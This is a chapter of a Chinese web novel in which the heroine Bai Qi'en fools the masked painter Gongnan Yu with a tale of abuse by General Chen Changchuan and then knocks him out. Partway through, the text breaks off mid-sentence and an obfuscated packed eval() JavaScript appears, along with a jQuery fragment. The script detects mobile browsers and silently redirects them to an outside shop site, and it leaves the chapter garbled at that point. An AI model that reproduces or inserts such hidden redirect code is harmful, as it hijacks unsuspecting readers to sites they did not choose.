这男人是谁?贸然跑来拉着自己跳舞问什么喜不喜欢,答案不是不言而喻吗。白绮恩眉头微蹙略显不悦,淡淡问道,“我的舞伴呢?”
银色面具的男子没有回答她的话,而是拉着她要就地挑起男女双人舞。
男女双人舞比较复杂,非得双方默契的配合,面子男子强势抓着她的手腕,白绮恩不得脱身,她睁大眼睛瞪着眼前的男子,使身体脚步配合他扭动移动,趁着跳舞空档脚故意狠狠毫不留情踩那面具男子的脚背。
面具男子看了她一眼,并无责怪或者其他含义。
白绮恩嘻嘻一笑,笑得很无辜,“我不会跳舞,是你强拉着我跳的。”说着脚下又踩了他一脚,力道还不小。
面具男子脾气好像很好样子,望向她的眼睛深邃明亮,其中有些意味不明的因素,搂着她纤细的腰肢,倾身俯在她身前低头在她耳边声音用低沉磁性说,“你的性子跟你人真是两个模样。”
两人之间只有两根手指的距离,白绮恩能感受到他温热有温度的气息喷洒在她脖颈上,痒痒的,那种被陌生人气味侵犯的肌肤感觉令白绮恩十分不爽。
她一不爽别人也别想好过,她不顾虑顺着抬起腿功夫直接一下提到男子的小腿上,脸上很抱歉,毫不诚意歉意说,“我说了我不会跳舞,踢疼你吧。”嘴上这么说,又给他脚背来十足十力度一脚。
面具男子这会闷哼了一声,嘴角微微上扬,轻声道,“没想到他喜欢是这么个小辣椒呀。”
白绮恩敏锐提取出他话语中的重要词汇,他口中的那个‘他’,究竟指的是谁?自己认识吗?
她张口欲言想要问,面具男子抓着她的双手将人拉到胸前,压低声音用仅有他们两个人能听见的声音道,“如果我把你从他身边夺走,你说他会暴跳如雷吗﹖”说完他不待白绮恩回答,强行拉着她草略又有优美的完成这支差强人意的双人舞,随后拉着她在台下众人的热烈起哄欢呼声中朝着反方向离去。
白绮恩没有看到人群中的霜雪,不知道她是不是被波涛汹涌人群挤后面去,还是跑掉搬救兵。台下疯子般呼喊的人以贵妇为居多。
“啊,是宫南羽啊!”
“我看到他,一定是他,他带走台上一个美丽姑娘,太气人。”
“你想他把你带走吧,想得美,宫南羽公子眼界可是很高哦,那姑娘确实漂亮。”
“真是便宜那姑娘,她今晚得高兴疯了。”
白绮恩没有如明月坊那些出来赏玩的贵妃所想那样兴高采烈,高兴疯了,一路上她心脏被快被宫南羽吓出来。
宫南羽似乎很兴奋样子,他脚步如飞,走得腾云驾雾,白绮恩的手腕给他拽着,不得不跟着他腾云驾雾的快走。
宫南羽拉着十分不情愿的白绮恩退下舞台后,穿过装潢华丽韵味十足的走廊,穿过花花草草的园子,上了一动做工精细别致的小楼。
白绮恩不知道这个莫名其妙的面具男子要带自己去那儿,这上楼后要做什么呀?他要是敢胡来,叫他知道猪头为什么那么大,她的御敌十八式可不是白学的。虽然只会不知道哪三招,还是时会时不会的。
面具男子拉着挣脱不得的白绮恩上了三楼,走得太快,白绮恩没来得及看楼中格局。他拽着白绮恩的手,白绮恩现在不挣扎了,认命由着他拽着自己到哪栏杆前。
他转头望了眼白绮恩,白绮恩望着楼下波光潋滟水盈盈的西湖,湖面上来来往往有大大小小的画舫,上面有些公子哥或者贵妇人在上面饮酒或者听曲作乐。
他什么意思?
白绮恩正好奇的望着下面西湖上灯火忽明忽暗的游船画舫,身子忽然向前一扯,竟然是那个面具男子带着她跳过栏杆往下跳。
白绮恩吓得心脏要冒出来,差点儿要高声尖叫出来,可一想到这人不是陈长川,叫也了只会惹人看笑话,在长川面前她是不用掩饰自己的真性情。
几秒身子虚空,好不容易脚底落地接触到实体物,白绮恩双腿发软,她咽下受惊的口水,眼睛难以置信的望着一脸淡定从容的面具男子。
从小三楼冷不丁跳下来,不死也被吓个半死,他们现在是在一艘装点华丽的小画舫上。里面的管事人已经走出来笑脸相迎,“羽公子,您来了。”
宫南羽随手丢给他一块银子,“奏乐,本公子要游湖。”
那管事人接到银子笑着下去叫画舫里乐师打起十二分精神来,羽公子要携美人游湖啦。
没一会儿,温柔悦耳的丝竹馆陶乐曲从画舫里面悠扬传出来,袅袅动听。非常适合此情此景,哦此人?
白绮恩看怪物看着眼前他们口中的羽公子,“你到底是谁?”
宫南羽听她这么问,略有吃惊,要知道在名都里只要有女人人家几乎都知道宫南羽,上至八十老妇,下至三岁女童,不过转念一想这女子是那人带来的,不知道也正常,他望着眼前懵懂无知的白绮恩,嘴角轻扯,略显轻薄一笑,“你是他什么人?”
他这话问得没理头,白绮恩满脑子问号,“什么什么人。”
宫南羽一挥宽广的长袖,转身做到了船头摆设的坐垫上,悠然倒着酒水,“陈长川是你什么人?情人?”倒完酒水他举着茶杯望着白绮恩。眼中有好奇戏谑的亮光,“能让他亲自带来,身份一份不同吧。”说完他抿酒水盯着白绮恩看,看得白绮恩不大自在。
白绮恩实在摸不清楚这个羽公子到底是陈长川的友人亦是敌人?他长年在外头征战,名都应该没有敌人,那么可能是匈奴那边派来的奸细,要刺杀陈长川为他们的首领报仇,这么想倒也通。
不过这个奸细长得修眉朗目,风流倜傥。匈奴人能出这样模样好气质好的人实在是奇怪,他应该是那群五大三粗的匈奴人中的异类吧。
白绮恩站直了身子,害怕且坚韧对着他的眼睛,“你是他什么人?”要是真是仇人,长川啊,你可太对不起我了,你自己招灾惹祸,连累我替你受罚挨过。
宫南羽狭长的眼角上调,眉目间尽是洒脱恣意,食指和拇指把握着手中精巧的酒杯,乌黑程亮的眼睛直直望着前面色厉内荏的白绮恩,“总之我不是好友。”
陈长川七入大漠,打得匈奴人落花流水败北逃走,封狼居胥凯旋归朝。皇帝亲自封为骠骑将军,赐将军府第。名都名流贵圈女儿们有了变动,纷纷开始神而望之期盼见到这位智勇双全谋略过人的英雄将军。
加之陈长川的容貌不如,很是英俊,比之闻名大诚朝的风流才貌双全的美男子南宫羽亦不逊色,这样的文武双全的英雄将军如何不叫那些姑娘们倾心爱慕,宫南羽第一美男的地位虽然没有受到实际波动,但对这位不曾相识的英雄将军陈长川自然是没好感,对他带来的人自然也是一样。
这样的回答模棱两棵,不过听得出来他是排斥长川的,白绮恩试试探探道,“他是你的仇人?”
宫南羽浓眉一挑,淡笑道,“可以这么说。”
“你恨他?”白绮恩接着试探。
“不恨。”宫南羽回答很轻松,语气跟谈论天气阴晴一样,没等白绮恩心下暗自送了口气,他又道,“我要他立马消失。”
他这是想要杀了长川啊,这样还说没仇,有仇说有仇,绕那么多圈子干什么。
既然他是陈长川那家伙的仇人,必定不会善待自己,带自己来游画舫估计是想挟持自己来威胁的陈长川,自己得先为自己的安危着想,陈长川死不死不要紧,反正她是没活够。
心中有了主意,白绮恩眼中骤然有了盈盈泪光,做愁苦状,“这样就好,终于找到跟我一样恨陈长川那厮人。”说着还抬起袖子摸了把脸上没有的眼泪。
宫南羽闻言微讶,正眼盯着面前愁容万千就差梨花带雨的白绮恩,“你不是他相好的?”
白绮恩用力一吸鼻子,装出那种哭过后的哽咽声音,她愁苦着脸,“公子,你是不知道,陈长川,他,他简直禽兽不如啊。”说着呜呜咽咽哭起来,还真给她哭出两行热泪。
宫南羽不大相信,疑惑盯着她。白绮恩接着做戏控诉陈长川的罪行,“他简直不是人啊。杀了我父母,又见我略有些姿色,便强行呆在身边供他玩乐消遣…”
宫南羽听得眉毛越拧越紧,简直要拧到一块去了,他仍旧不大相信白绮恩的话,他听闻中的陈将军不是好色之徒,相反他不近女色,连朝中数位大臣佳婿邀约都婉拒,怎么可能。
怎么不可能,眼前的女子哭得梨花带雨,模样姿态不似作假,可是又有哪个姑娘会以自己的清白来胡说呢。宫南羽半信半疑问道,“姑娘,据我听说的陈将军是位美人怀中不乱的君子,怎么可能如此为难姑娘呢,不要信口胡说啊。”
白绮恩知道他不信,抹掉了脸色挂着盈盈泪珠,毅然决然道,“我原本以为公子与其他众人是不一样的,陈长川这个混蛋该千刀万剐的禽兽,他,他,他居然强迫我,日日羞辱我,他压根是个伪君子。看在咱们都是他仇人份上,我悄声告诉你,其实,他不行。”长川,我也是为了保命,不是有意骂你的,勿怪勿怪。
这把宫南羽惊得说不出话,他瞪大眼睛审视眼前这个一脸愤恨的女子,看她神情好似真得受辱已久,可是,怎么有点儿怪啊!又说不上哪儿怪。
“那你说说他是怎么看上你,又是为何要杀你全家人呢?”宫南羽还是不大相信,探问。
白绮恩脸上神色哀愁,眼神幽深怨恨,她咬牙切齿的不带脸红的扯起谎来,看她样子是恨不能把陈长川剥皮抽筋难都难解心头恨,“我父母亲原本是在他手底下做事本分人,哪知道他因为被匈奴人重创,归咎是我父母办事不力,他这个禽兽残忍杀了我父母,我至今没有见到我父母尸体,他们死得好可怜,连尸体随便丢私人堆里喂了野狗。”说道动情处白绮恩眼圈红了,眼睛拉满血丝,仿佛她真得很痛恨陈长川,恨不能剥其皮,食其肉。
宫南羽听得倒吸一口凉气,陈长川果然是这样的?
白绮恩继续飙演技,那小眼泪一串串自来水溜出来,老自然了,她目光空洞望着前方,好似非常绝望,人间不值得,“再后来事情你也知道,他囚禁了我,他身子不行,夜夜折辱我,我是求生不得求死不能,在他身边我生死不由己,他不仅人坏透,心里变态,变着法子的折腾我。”
她抹了把脸上眼泪。语气平淡中带着哽咽,哽咽中带着愤恨不甘,目光悲切万分望着宫南羽,“公子既然是那禽兽的仇人,我们也算是同一阵营,公子如能宰了那厮,救我于水深火热,小女子感激不尽。”
听过后,宫南羽只觉得头大,这女子若说得是真话,那陈长川这家伙实在不是人,可是仅凭她一面之词判定远近有名君子如兰的陈长川,太武断,他找到了个漏洞,“你既然说陈长川囚禁于你,那他今晚怎么会带了到明月坊来,你没有说实话?”眼中满是疑惑不信。
白绮恩在心中大骂他个大傻逼,面上还得继续演,她冷笑一声,“公子这般聪明绝顶,怎么会不知道想我这等囚徒在他眼里不过是逗趣的猫猫狗狗,心情好时候拉出来溜溜透透气,你没看见我身边跟着个女子,那女子就是他派来看着我的。公子,信也好,不信我自然没法强迫你信,横竖今后我怎么苦都是我自己。”
宫南羽听她这般决然的说,倒有几分动容,眼前女子如此貌美,虽说不抵倾国倾城,亦是花容月颜,要是陈长川正如她所言那般,那眼前这个女子岂不是要受大罪,他自认为自己是端方君子,才情斐然,怜香惜玉,他站起身走到白绮恩身边,沉声道,“姑娘,叫什么名字?”
白绮恩见他已经有七八分相信自己鬼话,楚楚可怜道,“小女子姓贾,公子可以唤我贾姑娘。”
宫南羽再三思量觉得此女不会欺骗自己,哭得声声泪字字血,怎么做的了假,事情前因后果她说得有条有序,没有可疑之处,所以他相信这位贾姑娘,至少相信八分。
原想着今天能与陈长川的情人一同泛舟西湖,解解气,没想到对方是这样的人物,实在令人恶心作呕,他神情严肃站在白绮恩面前,“家姑娘,我可以帮你逃出魔掌,姑娘,可愿意?”
白绮恩想着如何回答时候,要是说愿意,这家伙把自己带到远去去,到时候她回来可是个问题,要是说不愿意,那前面哭诉那么惨,岂不是惹他怀疑,霜雪这家伙怎么没把长川那家伙找来,再不来她可真要被带走啦。
正当白绮恩纠结这怎么回答时候,斜侧面驶过来一手三层楼的大画舫,上面火树银花,灯火明亮,床头上站着两女一男。
白绮恩见来人心中一喜,来人正是陈长川和霜雪,还有一位大冷天打扮不知冷热的异域风情着装漂亮女子。
“他们来了。”白绮恩掩饰着自己内心狂喜,眼睛在船板上溜来溜去,看有没有合适的武器自卫。
万一这个面具男子知道自己说话欺骗他后,恼羞成怒杀了她怎么办。
她是这么想的,看在宫南羽眼中她是在害怕,全身发抖,眼睛乱转是想要找地方逃走,陈长川此人如此变态,要是知道她同其他男子在游船上,她回去定是要大吃苦头的。这么想他一把将人护在身后,看着前
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172667|150518||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
面已经跳到自己面前的陈长川,没有回头,对白绮恩道,“姑娘,莫慌张,我不会让他带你走。”
跳到宫南羽面前的陈长川见到宫南羽把白绮恩藏在身后,脸色自然是不悦,沉着脸道,“宫南羽,你无缘无故带走她做什么,让她出来。”
霜雪和那名异域风情着装的女子通过搭板过来,傻傻的霜雪立马冲到陈长川的身边,看着宫南羽道,“就是他,就是他,掳走了姑娘,姑…”她好像看见自家姑娘在宫南羽公子的身后鬼鬼祟祟摸摸索索不知道要找什么。
正在宫南羽身后的白绮恩瞪了她一眼示意她闭嘴,霜雪不愧是她一起胡玩胡闹长大的玩伴,一个眼神懂了。捂着嘴巴不说话。
“你就是那个监看贾姑娘的侍女?”这话是宫南羽说的。霜雪不知如何作答,不过按照姑娘意思她啊了声。
自家姑娘又胡说八道扯什么谎啦。亏她在姑娘被掳走时候急的团团转,感情自家姑娘应付游刃有余。
陈长川同样见到后面的白绮恩,要过去拉过她,却被宫南羽拦住了,陈长川道,“我带她回家,宫南公子没闹够。”
宫南羽显然信了白绮恩胡言乱语的鬼话,把陈长川归入下流一类东西,嗤道,“你那儿不是她家,她家人早被你杀尽了,现在你连她这么一个弱女子都不肯放过。你表面上装得像个人,骗得那么多人为你晕头转向,没想到私底下竟然这般无耻下流。”
陈长川听得一脸雾水,白绮恩跟他胡说什么,还是宫南羽脑子不好使。
霜雪暗道姑娘你又扯什么谎。
一旁的异域风情女子只是淡笑看好戏。
宫南羽自以为正义的维护着白绮恩,殊不知白绮恩已经找到合适的武器,他不屑看着眼前在心中归类为伪君子的陈长川,“陈将军,好手段,表面功夫做尽,看着像是个人,没想到私底下竟然作践…”
陈长川看着他身后的白绮恩拿着大木棍子冲他一挥棒子,他大声喊了声,“小心。”
宫南羽的人字没来得及说出来,后脑勺猛地一疼,眼睛一黑,身子侧边倒下去。
陈长川和异域风情女子看着白绮恩丢到棍子,拍拍手说,“震得我手疼,长川,我帮你解决了一个仇人,你今天算是欠下我一个人情。”
霜雪这时候已经跑过去,握着白绮恩的手,“姑娘,川少爷来了,你不用打晕他的。一切有川少爷解决啊。”陈长川说过那人不是敌人,是名满名都的风流画师宫南羽。
原来掳走小姐人是全城姑娘都追捧的风流倜傥玩世不恭的宫南羽公子。
难道他是喜欢小姐?
陈长川瞥了眼躺在船板上人事不省的宫南羽,他箭步走到唧唧咋咋的喊疼不已的白绮恩身边,见她肩膀的衣领子开了,露出里面的内衣和风光,他心中微沉,伸过手要去替她整理好衣裳领子,白绮恩不明所以躲开了,“干什么,他可能是匈奴奸细,他此番前来是专门要你性命,你把他投入刑部大牢好好严加烤审。”
陈长川没有说话,一把扯过白绮恩,不管她扭扭捏捏的,把她块落到肩膀上衣领子往脖子上拢了拢,“姑娘家家,弄得衣衫不整不好看。”
白绮恩这才明白陈长川是想给自己整理好衣裳,她刚才表演太卖力,今天衣裳略微松散,才激动几下就落下来。她抬眼看陈长川,“你是嫌我给你丢人对不对。”
没等陈长川回答,她又自个说下去,“我姓白,你姓陈,你不用老是把我和你连在一起。所以不会丢你人的。”丢人也是白家人事情,管他陈长川有什么事情。
陈长川听了冷硬道,“你怎么说也是和我一起长大的,你的一切我必须管。”包括你这个人。
白绮恩撇撇嘴不以为然,这时候耳边响起一个柔美的女声,“宫南公子这下要睡一夜,白小姐这闷棍可不小啊。”
白绮恩顺声音看过去只见那个穿着简单单薄如同壁画西域飞天仙女的的异域风情女子蹲在面具男子的身边,转过来呢看着他们微微笑道,她手臂上挂着两条红色长袖,没有长袖,衣服上短,露出肚脐。下面着条条屡屡的裙子,看得白绮恩替她害冷。
“米娅,这次得再幸苦你下,在明月坊给他找个房间安歇。”陈长川站在白绮恩身边,近的几乎要贴她身上,白绮恩忽然被陌生男人拐走这事情令他万分担心,好在现在安然无恙。
米娅站起来走到白绮恩面前,她眼睛黑白分明,亮晶晶,好像会说话一样,她的睫毛很长弯弯翘翘的,五官精致立体,看上去很艳丽。她是米娅?白绮恩盯着眼前的美女米娅目不转睛瞧着。
陈长川见她这样,直接拍了他屁股一下,白绮恩受惊的回头怒目瞪陈长川。
用眼神谴责陈长川,都多大了,还拍屁股,他不要脸,自己还要脸呢。
陈长川见她终于把目光移会自己这儿,眼神灼灼好像要烧死自己一样,心里舒服多了。
“原来你就是长川常提起的绮恩呀,长得这般模样,难怪他。”米娅的眼睛在白绮恩和陈长川身上来回溜动,余下的话自然有听懂的人,这个白小姐看上去很纯真,长川的路怕是难走。
“早听闻白小姐容颜妍丽,性子活泼直爽,我是米娅,明月坊的歌舞教头。”米娅大大方方地介绍了自己,她的眼睛黑白分明看上去她说每句话很真诚。
“原来你就是米娅,我听长川讲起过你。”白绮恩不敢提太子,不知道他们之间是什么关系,说话还是点到为好。“你也很漂亮,他是谁呀。”指着地上的面具男子。
米娅浅笑看了眼眼前单纯可爱的白绮恩,转头望着船板上的晕迷的宫南羽,转回头对她说道,“他便是群芳友人,大诚朝有名的画师宫南羽。”
宫南羽,大诚朝的第一美男子,名都里的上至八十下至孩提无人不识的宫南羽。宫南羽不仅是诚朝姑娘眼中深爱的美男子,亦是皇帝身边的御用画师,宫南世家是祖传的画家,画的画都是栩栩如生,仿佛跃然纸上,宫南羽更是天赋异禀,画画水平一流,他专门画人,画美人。即便白绮恩长年宅在家中亦是知道他的大名。
白绮恩闻言绕过米娅看着那船板上晕睡的男人,洁白的月光洒落在他菱角分明轮廓流畅的轮廓上,更显得他俊朗过人,风采斐然,还有丝丝难以言所的脆弱美,在这样一个男人看到这样一种美,那这男子得长得多么惊艳人啊。
白绮恩正看得入神呢,屁股又是一疼,白绮恩这会没跟陈长川客气,伸手狠狠拧了下他的屁股。
霜雪看着眼前幼稚的两人,“……”姑娘和川少爷难道没长大。